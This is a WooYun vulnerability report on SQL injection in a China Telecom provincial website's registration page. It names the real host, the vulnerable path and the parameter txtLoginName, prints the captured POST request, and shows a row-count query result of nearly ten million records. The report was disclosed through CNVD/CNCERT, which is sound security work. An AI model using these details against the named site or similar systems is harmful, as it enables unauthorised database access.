当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088892

漏洞标题:中国电信某省级网站SQL注入(疑似影响千万数据)

相关厂商:中国电信

漏洞作者: BMa

提交时间:2014-12-27 20:42

修复时间:2015-02-10 20:44

公开时间:2015-02-10 20:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:13

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-27: 细节已通知厂商并且等待厂商处理中
2014-12-31: 厂商已经确认,细节仅向厂商公开
2015-01-10: 细节向核心白帽子及相关领域专家公开
2015-01-20: 细节向普通白帽子公开
2015-01-30: 细节向实习白帽子公开
2015-02-10: 细节向公众公开

简要描述:

中国电信某省级网站SQL注入(影响千万数据)

详细说明:

大婶 请看与这个的区别:http://wooyun.org/bugs/wooyun-2014-082767
它的是登录页面,我的是注册页面,而且登录页面已经修复了 跪谢 - -!@
本来是用工具扫,结果半天没出东西,直觉告诉我注册页面可能会有问题,注册个账号,抓包,跑一跑,就出来了!问题在这里:

sql1.jpg


数据:

POST /sysadmin/RegistUser.aspx HTTP/1.1
Host: www.gzbg100.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.gzbg100.cn/sysadmin/RegistUser.aspx
Cookie: CNZZDATA2558089=cnzz_eid%3D1950861709-1419644325-%26ntime%3D1419644325; ASP.NET_SessionId=dr5mawejvr1tqn55xlnzvn55
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1682
__VIEWSTATE=%2FwEPDwUINDk2NDc4N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7yCgKambrfAQKamYaECAKamZJhApqZ%2Fs0HApqZyqoOApqZ1pcFApqZ4q4IApqZzosPAueAsP4KAueA9GwC54CAhAIC54Ds4AoCp9u%2FqQYC6drruQ0Cq9rXgQUChPP9ugwCkdG4yw0C3%2BXntQ0CpOyCqw8ClO2fsgsCnqjY3QMC592L7QECjqWrigUC6N3juQYCwova3gMMaoOWSEG4d25KMGFc0V%2BMwd18Ew%3D%3D&txtUserName=blackmanba&txtLoginName=blackmanba&txtUserPwd=bma123&txtUserPwd_Repeat=bma123&txtJob=bma&ddlSex=0&txtPostCode=411000&ddlArea=0452&txtTelNumber=13585654895&txtMobNumber=&txtFaxNumber=&txtEmail=blackmanba.china%40foxmail.com&drpRoles=4f99fb2d-1818-4bf3-8c5e-762ad223b3b1&hidUserID=&DataIDList=&IDList=&hidsDeptvalues=&btnSubmit=%E6%8F%90%E4%BA%A4


问题参数:txtLoginName
上几张图,说不定真有千万:

sql2.jpg


sql3.jpg


漏洞证明:

就不深入了,证明一下!

select count(*) from SMSSEND_BACK;:    '9966936'


http://support.gzbg100.cn

该子域存在相同问题

修复方案:

版权声明:转载请注明来源 BMa@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-12-31 17:09

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国电信通报。

最新状态:

暂无